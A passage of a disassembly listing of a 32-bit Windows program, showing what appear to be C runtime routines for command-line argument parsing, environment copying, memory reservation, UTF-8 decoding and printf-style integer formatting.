		cmp	al, 20h
		jz	short loc_44B9F3
		cmp	al, 9
		jz	short loc_44B9F3


loc_44B9FE:				; CODE XREF: sub_44B941+AEj
		cmp	byte ptr [ebx],	0
		jz	loc_44BAC7
		cmp	[ebp+arg_4], 0
		jz	short loc_44BA18
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	[eax], ecx


loc_44BA18:				; CODE XREF: sub_44B941+CAj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]


loc_44BA1D:				; CODE XREF: sub_44B941+16Dj
		mov	[ebp+var_4], 1
		xor	edi, edi
		jmp	short loc_44BA2A
; ---------------------------------------------------------------------------


loc_44BA28:				; CODE XREF: sub_44B941+ECj
		inc	ebx
		inc	edi


loc_44BA2A:				; CODE XREF: sub_44B941+E5j
		cmp	byte ptr [ebx],	5Ch
		jz	short loc_44BA28
		cmp	byte ptr [ebx],	22h
		jnz	short loc_44BA7A
		test	edi, 1
		jnz	short loc_44BA67
		cmp	[ebp+var_8], 0
		jz	short loc_44BA54
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_44BA4B
		inc	ebx
		jmp	short loc_44BA5B
; ---------------------------------------------------------------------------


loc_44BA4B:				; CODE XREF: sub_44B941+105j
		mov	[ebp+var_4], 0
		jmp	short loc_44BA5B
; ---------------------------------------------------------------------------


loc_44BA54:				; CODE XREF: sub_44B941+FFj
		mov	[ebp+var_4], 0


loc_44BA5B:				; CODE XREF: sub_44B941+108j
					; sub_44B941+111j
		xor	eax, eax
		cmp	[ebp+var_8], 0
		setz	al
		mov	[ebp+var_8], eax


loc_44BA67:				; CODE XREF: sub_44B941+F9j
		shr	edi, 1
		jmp	short loc_44BA7A
; ---------------------------------------------------------------------------


loc_44BA6B:				; CODE XREF: sub_44B941+13Ej
		test	ecx, ecx
		jz	short loc_44BA75
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	5Ch


loc_44BA75:				; CODE XREF: sub_44B941+12Cj
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_44BA7A:				; CODE XREF: sub_44B941+F1j
					; sub_44B941+128j
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_44BA6B
		mov	al, [ebx]
		test	al, al
		jz	short loc_44BA95
		cmp	[ebp+var_8], 0
		jnz	short loc_44BA97
		cmp	al, 20h
		jz	short loc_44BA95
		cmp	al, 9
		jnz	short loc_44BA97


loc_44BA95:				; CODE XREF: sub_44B941+144j
					; sub_44B941+14Ej
		jmp	short loc_44BAB3
; ---------------------------------------------------------------------------


loc_44BA97:				; CODE XREF: sub_44B941+14Aj
					; sub_44B941+152j
		cmp	[ebp+var_4], 0
		jz	short loc_44BAAD
		test	ecx, ecx
		jz	short loc_44BAA8
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_44BAA8:				; CODE XREF: sub_44B941+15Ej
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_44BAAD:				; CODE XREF: sub_44B941+15Aj
		inc	ebx
		jmp	loc_44BA1D
; ---------------------------------------------------------------------------


loc_44BAB3:				; CODE XREF: sub_44B941:loc_44BA95j
		test	ecx, ecx
		jz	short loc_44BABD
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	0


loc_44BABD:				; CODE XREF: sub_44B941+174j
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		jmp	loc_44B9EC
; ---------------------------------------------------------------------------


loc_44BAC7:				; CODE XREF: sub_44B941+C0j
		cmp	[ebp+arg_4], 0
		jz	short loc_44BADC
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	dword ptr [eax], 0


loc_44BADC:				; CODE XREF: sub_44B941+18Aj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]
		pop	edi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44B941	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44BAF1	proc near		; CODE XREF: DMN1:00449EEAp

var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		call	dword_411D90
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jnz	short loc_44BB23
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	dword_411CDC
		lea	esi, [ebp+var_10C]


loc_44BB23:				; CODE XREF: sub_44BAF1+16j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0
		push	esi
		call	sub_44B941
		add	esp, 14h
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		lea	eax, [edx+eax*4]
		push	eax
		call	sub_44A581
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_44BB56
		push	1
		call	sub_44B571
		pop	ecx


loc_44BB56:				; CODE XREF: sub_44BAF1+5Bj
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [ebx+eax*4]
		push	eax
		push	ebx
		push	esi
		call	sub_44B941
		add	esp, 14h
		mov	eax, [ebp+var_4]
		dec	eax
		mov	dword_4117C4, eax
		mov	dword_4117C8, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44BAF1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44BB91	proc near		; CODE XREF: DMN1:00449EEFp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		call	dword_411DF8
		mov	[ebp+var_8], eax
		test	eax, eax
		jnz	short loc_44BBAF
		mov	eax, off_411894
		mov	[ebp+var_8], eax


loc_44BBAF:				; CODE XREF: sub_44BB91+14j
		mov	[ebp+var_4], 0
		mov	ebx, [ebp+var_8]
		jmp	short loc_44BBD4
; ---------------------------------------------------------------------------


loc_44BBBB:				; CODE XREF: sub_44BB91+46j
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_44BBC0:				; CODE XREF: sub_44BB91+34j
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_44BBC0
		lea	esi, [eax+1]
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_44BBD2
		add	[ebp+var_4], esi


loc_44BBD2:				; CODE XREF: sub_44BB91+3Cj
		add	ebx, esi


loc_44BBD4:				; CODE XREF: sub_44BB91+28j
		cmp	byte ptr [ebx],	0
		jnz	short loc_44BBBB
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_44A581
		pop	ecx
		mov	edi, eax
		mov	dword_4117D0, eax
		cmp	dword_4117D0, 0
		jnz	short loc_44BBFC
		push	1
		call	sub_44B571
		pop	ecx


loc_44BBFC:				; CODE XREF: sub_44BB91+61j
		mov	ebx, [ebp+var_8]
		jmp	short loc_44BC2B
; ---------------------------------------------------------------------------


loc_44BC01:				; CODE XREF: sub_44BB91+9Dj
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_44BC06:				; CODE XREF: sub_44BB91+7Aj
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_44BC06
		lea	esi, [eax+1]
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_44BC29
		mov	ecx, edi
		mov	edx, ebx
		push	ecx
		sub	ecx, edx


loc_44BC1C:				; CODE XREF: sub_44BB91+93j
		mov	al, [edx]
		mov	[ecx+edx], al
		inc	edx
		test	al, al
		jnz	short loc_44BC1C
		pop	eax
		add	edi, esi


loc_44BC29:				; CODE XREF: sub_44BB91+82j
		add	ebx, esi


loc_44BC2B:				; CODE XREF: sub_44BB91+6Ej
		cmp	byte ptr [ebx],	0
		jnz	short loc_44BC01
		mov	byte ptr [edi],	0
		mov	eax, off_411894
		cmp	eax, [ebp+var_8]
		jz	short loc_44BC47
		mov	eax, [ebp+var_8]
		push	eax
		call	dword_411DFC


loc_44BC47:				; CODE XREF: sub_44BB91+AAj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44BB91	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================



sub_44BC51	proc near		; CODE XREF: DMN1:00449F24p
		push	ebx
		call	dword_411D90
		mov	ebx, eax
		cmp	byte ptr [ebx],	22h
		jnz	short loc_44BC75


loc_44BC5F:				; CODE XREF: sub_44BC51+19j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	22h
		jz	short loc_44BC6C
		cmp	byte ptr [ebx],	0
		jnz	short loc_44BC5F


loc_44BC6C:				; CODE XREF: sub_44BC51+14j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_44BC7D
		inc	ebx
		jmp	short loc_44BC7D
; ---------------------------------------------------------------------------


loc_44BC74:				; CODE XREF: sub_44BC51+27j
		inc	ebx


loc_44BC75:				; CODE XREF: sub_44BC51+Cj
		cmp	byte ptr [ebx],	20h
		ja	short loc_44BC74
		jmp	short loc_44BC7D
; ---------------------------------------------------------------------------


loc_44BC7C:				; CODE XREF: sub_44BC51+34j
		inc	ebx


loc_44BC7D:				; CODE XREF: sub_44BC51+1Ej
					; sub_44BC51+21j ...
		mov	al, [ebx]
		test	al, al
		jz	short loc_44BC87
		cmp	al, 20h
		jbe	short loc_44BC7C


loc_44BC87:				; CODE XREF: sub_44BC51+30j
		mov	eax, ebx
		pop	ebx
		retn
sub_44BC51	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44BC91	proc near		; CODE XREF: sub_449FB1+21p

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		cmp	dword_4117D8, 0
		jnz	short loc_44BCC4
		push	1
		push	2000h
		mov	eax, dword_4117DC
		push	eax
		push	0
		call	dword_411E00
		mov	dword_4117D8, eax
		test	eax, eax
		jz	short loc_44BD27


loc_44BCC4:				; CODE XREF: sub_44BC91+13j
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, dword_4117D8
		push	eax
		call	dword_411E04
		test	eax, eax
		jz	short loc_44BD27
		cmp	[ebp+var_C], 1000h
		jnz	short loc_44BCF1
		mov	eax, [ebp+var_10]
		mov	edx, dword_4117D8
		lea	edi, [edx+eax]
		jmp	short loc_44BCF7
; ---------------------------------------------------------------------------


loc_44BCF1:				; CODE XREF: sub_44BC91+50j
		mov	edi, dword_4117D8


loc_44BCF7:				; CODE XREF: sub_44BC91+5Ej
		mov	esi, edi
		lea	eax, [esi+ebx]
		mov	edx, dword_4117DC
		mov	ecx, dword_4117D8
		add	edx, ecx
		cmp	eax, edx
		jb	short loc_44BD12
		xor	eax, eax
		jmp	short loc_44BD27
; ---------------------------------------------------------------------------


loc_44BD12:				; CODE XREF: sub_44BC91+7Bj
		push	4
		push	1000h
		push	ebx
		push	esi
		call	dword_411E00
		test	eax, eax
		jz	short loc_44BD27
		mov	eax, esi


loc_44BD27:				; CODE XREF: sub_44BC91+31j
					; sub_44BC91+47j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44BC91	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44BD31	proc near		; CODE XREF: sub_44ABC1+44p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		mov	eax, [ebp+arg_C]
		movzx	eax, word ptr [eax+6]
		mov	[ebp+var_3], al
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_C]
		mov	eax, [eax]
		mov	[ebp+var_2], ax
		cmp	off_411924, 0
		jnz	loc_44BEAC
		cmp	[ebp+arg_4], 0
		jnz	short loc_44BD7F
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_40FB78
		mov	ebx, dword_40FB7C
		mov	[eax], ecx
		mov	[eax+4], ebx
		xor	eax, eax
		jmp	loc_44C00B
; ---------------------------------------------------------------------------


loc_44BD7F:				; CODE XREF: sub_44BD31+31j
					; sub_44BD31+176j
		cmp	[ebp+arg_8], 0
		jnz	short loc_44BDA3
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		mov	eax, 0FFFFFFFEh
		jmp	loc_44C00B
; ---------------------------------------------------------------------------


loc_44BDA3:				; CODE XREF: sub_44BD31+52j
		cmp	[ebp+var_3], 0
		jbe	short loc_44BDEA
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0C0h
		cmp	eax, 80h
		jz	short loc_44BDCE
		call	sub_44A781
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_44C00B
; ---------------------------------------------------------------------------


loc_44BDCE:				; CODE XREF: sub_44BD31+88j
		movzx	eax, [ebp+var_2]
		shl	eax, 6
		mov	edx, [ebp+var_8]
		movzx	edx, byte ptr [edx]
		and	edx, 3Fh
		or	eax, edx
		mov	[ebp+var_2], ax
		sub	[ebp+var_3], 1
		jmp	short loc_44BE5B
; ---------------------------------------------------------------------------


loc_44BDEA:				; CODE XREF: sub_44BD31+76j
		mov	eax, [ebp+var_8]
		test	byte ptr [eax],	80h
		jnz	short loc_44BDFE
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	[ebp+var_2], ax
		jmp	short loc_44BE5B
; ---------------------------------------------------------------------------


loc_44BDFE:				; CODE XREF: sub_44BD31+BFj
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0E0h
		cmp	eax, 0C0h
		jnz	short loc_44BE23
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 1Fh
		mov	[ebp+var_2], ax
		mov	[ebp+var_3], 1
		jmp	short loc_44BE5B
; ---------------------------------------------------------------------------


loc_44BE23:				; CODE XREF: sub_44BD31+DDj
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0F0h
		cmp	eax, 0E0h
		jnz	short loc_44BE48
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0Fh
		mov	[ebp+var_2], ax
		mov	[ebp+var_3], 2
		jmp	short loc_44BE5B
; ---------------------------------------------------------------------------


loc_44BE48:				; CODE XREF: sub_44BD31+102j
		call	sub_44A781
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_44C00B
; ---------------------------------------------------------------------------


loc_44BE5B:				; CODE XREF: sub_44BD31+B7j
					; sub_44BD31+CBj ...
		cmp	[ebp+var_3], 0
		jnz	short loc_44BEA1
		cmp	[ebp+arg_0], 0
		jz	short loc_44BE71
		mov	edx, [ebp+arg_0]
		mov	ax, [ebp+var_2]
		mov	[edx], ax


loc_44BE71:				; CODE XREF: sub_44BD31+134j
		mov	edx, [ebp+arg_C]
		mov	word ptr [edx+6], 0
		cmp	[ebp+var_2], 0
		jnz	short loc_44BE8A
		mov	[ebp+var_C], 0
		jmp	short loc_44BE99
; ---------------------------------------------------------------------------


loc_44BE8A:				; CODE XREF: sub_44BD31+14Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	[ebp+var_C], eax


loc_44BE99:				; CODE XREF: sub_44BD31+157j
		mov	eax, [ebp+var_C]
		jmp	loc_44C00B
; ---------------------------------------------------------------------------


loc_44BEA1:				; CODE XREF: sub_44BD31+12Ej
		inc	[ebp+var_8]
		dec	[ebp+arg_8]
		jmp	loc_44BD7F
; ---------------------------------------------------------------------------


loc_44BEAC:				; CODE XREF: sub_44BD31+27j
		mov	[ebp+var_C], 0
		cmp	[ebp+arg_4], 0
		jnz	short loc_44BEDF
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_40FB78
		mov	ebx, dword_40FB7C
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, off_411924
		movzx	eax, word ptr [eax]
		and	eax, 0F00h
		jmp	loc_44C00B
; ---------------------------------------------------------------------------


loc_44BEDF:				; CODE XREF: sub_44BD31+186j
					; sub_44BD31+292j
		cmp	[ebp+arg_8], 0
		jnz	short loc_44BF03
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		mov	eax, 0FFFFFFFEh
		jmp	loc_44C00B
; ---------------------------------------------------------------------------


loc_44BF03:				; CODE XREF: sub_44BD31+1B2j
		mov	al, [ebp+var_3]
		cmp	al, 10h
		jnb	short loc_44BF3F
		movzx	eax, al
		mov	eax, off_411924[eax*4]
		mov	[ebp+var_14], eax
		test	eax, eax
		jz	short loc_44BF3F
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	eax, 0FF0h
		jge	short loc_44BF3F
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+var_14]
		mov	ax, [edx+eax*2]
		mov	[ebp+var_E], ax
		test	ax, ax
		jnz	short loc_44BF52


loc_44BF3F:				; CODE XREF: sub_44BD31+1D7j
					; sub_44BD31+1E8j ...
		call	sub_44A781
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_44C00B
; ---------------------------------------------------------------------------


loc_44BF52:				; CODE XREF: sub_44BD31+20Cj
		movzx	eax, [ebp+var_E]
		mov	edx, eax
		and	edx, 0F00h
		sar	edx, 8
		mov	[ebp+var_3], dl
		test	eax, 8000h
		jz	short loc_44BF7E
		movzx	eax, [ebp+var_2]
		and	eax, 0FFFFFF00h
		movzx	edx, byte ptr [ebp+var_E]
		or	eax, edx
		mov	[ebp+var_2], ax


loc_44BF7E:				; CODE XREF: sub_44BD31+238j
		test	[ebp+var_E], 1000h
		jz	short loc_44BFA0
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		shl	edx, 8
		sar	eax, 8
		and	eax, 0FFh
		or	edx, eax
		mov	ax, dx
		mov	[ebp+var_2], ax


loc_44BFA0:				; CODE XREF: sub_44BD31+253j
		test	[ebp+var_E], 4000h
		jz	short loc_44BFBD
		mov	eax, [ebp+var_8]
		cmp	byte ptr [eax],	0
		jz	short loc_44BFBD
		inc	[ebp+var_8]
		dec	[ebp+arg_8]
		mov	[ebp+var_C], 0


loc_44BFBD:				; CODE XREF: sub_44BD31+275j
					; sub_44BD31+27Dj
		test	[ebp+var_E], 2000h
		jz	loc_44BEDF
		cmp	[ebp+arg_0], 0
		jz	short loc_44BFD9
		mov	edx, [ebp+arg_0]
		mov	ax, [ebp+var_2]
		mov	[edx], ax


loc_44BFD9:				; CODE XREF: sub_44BD31+29Cj
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		cmp	[ebp+var_2], 0
		jnz	short loc_44BFFD
		mov	[ebp+var_18], 0
		jmp	short loc_44C008
; ---------------------------------------------------------------------------


loc_44BFFD:				; CODE XREF: sub_44BD31+2C1j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	[ebp+var_18], eax


loc_44C008:				; CODE XREF: sub_44BD31+2CAj
		mov	eax, [ebp+var_18]


loc_44C00B:				; CODE XREF: sub_44BD31+49j
					; sub_44BD31+6Dj ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44BD31	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44C011	proc near		; CODE XREF: sub_44ABC1+243p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= qword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		movzx	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		cmp	eax, 41h
		jl	short loc_44C030
		cmp	eax, 47h
		jg	short loc_44C03F
		jmp	dword_40FC80[eax*4]
; ---------------------------------------------------------------------------


loc_44C030:				; CODE XREF: sub_44C011+11j
		cmp	[ebp+var_4], 25h
		jz	loc_44C703
		jmp	loc_44C718
; ---------------------------------------------------------------------------


loc_44C03F:				; CODE XREF: sub_44C011+16j
		mov	eax, [ebp+var_4]
		cmp	eax, 58h
		jz	loc_44C274
		jl	loc_44C718
		mov	eax, [ebp+var_4]
		cmp	eax, 61h
		jl	loc_44C718
		cmp	eax, 78h
		jg	loc_44C718
		jmp	dword_40FC1C[eax*4]
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jz	short loc_44C09A
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		add	ecx, 4
		mov	[eax], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ecx-4]
		mov	[eax+edx], cl
		jmp	loc_44C743
; ---------------------------------------------------------------------------


loc_44C09A:				; CODE XREF: sub_44C011+63j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	[ebp+var_6], ax
		mov	[ebp+var_A], ax
		mov	[ebp+var_8], 0
		mov	edx, [ebp+arg_0]
		or	dword ptr [edx+2Ch], 0FFFFFFFFh
		lea	eax, [ebp+var_A]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44D291
		add	esp, 8
		test	eax, eax
		jge	loc_44C743
		or	eax, 0FFFFFFFFh
		jmp	loc_44C745
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jnz	short loc_44C101
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_44C175
; ---------------------------------------------------------------------------


loc_44C101:				; CODE XREF: sub_44C011+D2j
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 71h
		jnz	short loc_44C122
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_44C169
; ---------------------------------------------------------------------------


loc_44C122:				; CODE XREF: sub_44C011+F7j
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 6Ah
		jnz	short loc_44C143
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_44C15D
; ---------------------------------------------------------------------------


loc_44C143:				; CODE XREF: sub_44C011+118j
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_44C15D:				; CODE XREF: sub_44C011+130j
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_44C169:				; CODE XREF: sub_44C011+10Fj
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_44C175:				; CODE XREF: sub_44C011+EEj
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 68h
		jnz	short loc_44C1A5
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	dx, cx
		movsx	edx, dx
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_44C1EB
; ---------------------------------------------------------------------------


loc_44C1A5:				; CODE XREF: sub_44C011+176j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 62h
		jnz	short loc_44C1C9
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	dl, cl
		movsx	edx, dl
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_44C1EB
; ---------------------------------------------------------------------------


loc_44C1C9:				; CODE XREF: sub_44C011+19Bj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+3Ah]
		cmp	al, 74h
		jz	short loc_44C1D7
		cmp	al, 7Ah
		jnz	short loc_44C1EB


loc_44C1D7:				; CODE XREF: sub_44C011+1C0j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_44C1EB:				; CODE XREF: sub_44C011+192j
					; sub_44C011+1B6j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jg	short loc_44C212
		jl	short loc_44C1FD
		test	eax, eax
		jnb	short loc_44C212


loc_44C1FD:				; CODE XREF: sub_44C011+1E6j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Dh
		jmp	short loc_44C250
; ---------------------------------------------------------------------------


loc_44C212:				; CODE XREF: sub_44C011+1E4j
					; sub_44C011+1EAj
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 2
		jz	short loc_44C232
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Bh
		jmp	short loc_44C250
; ---------------------------------------------------------------------------


loc_44C232:				; CODE XREF: sub_44C011+20Aj
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 1
		jz	short loc_44C250
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 20h


loc_44C250:				; CODE XREF: sub_44C011+1FFj
					; sub_44C011+21Fj ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44D3E1
		add	esp, 8
		jmp	loc_44C743
; ---------------------------------------------------------------------------


loc_44C274:				; CODE XREF: sub_44C011+34j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jnz	short loc_44C296
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		xor	ebx, ebx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_44C307
; ---------------------------------------------------------------------------


loc_44C296:				; CODE XREF: sub_44C011+26Aj
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 71h
		jnz	short loc_44C2B7
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
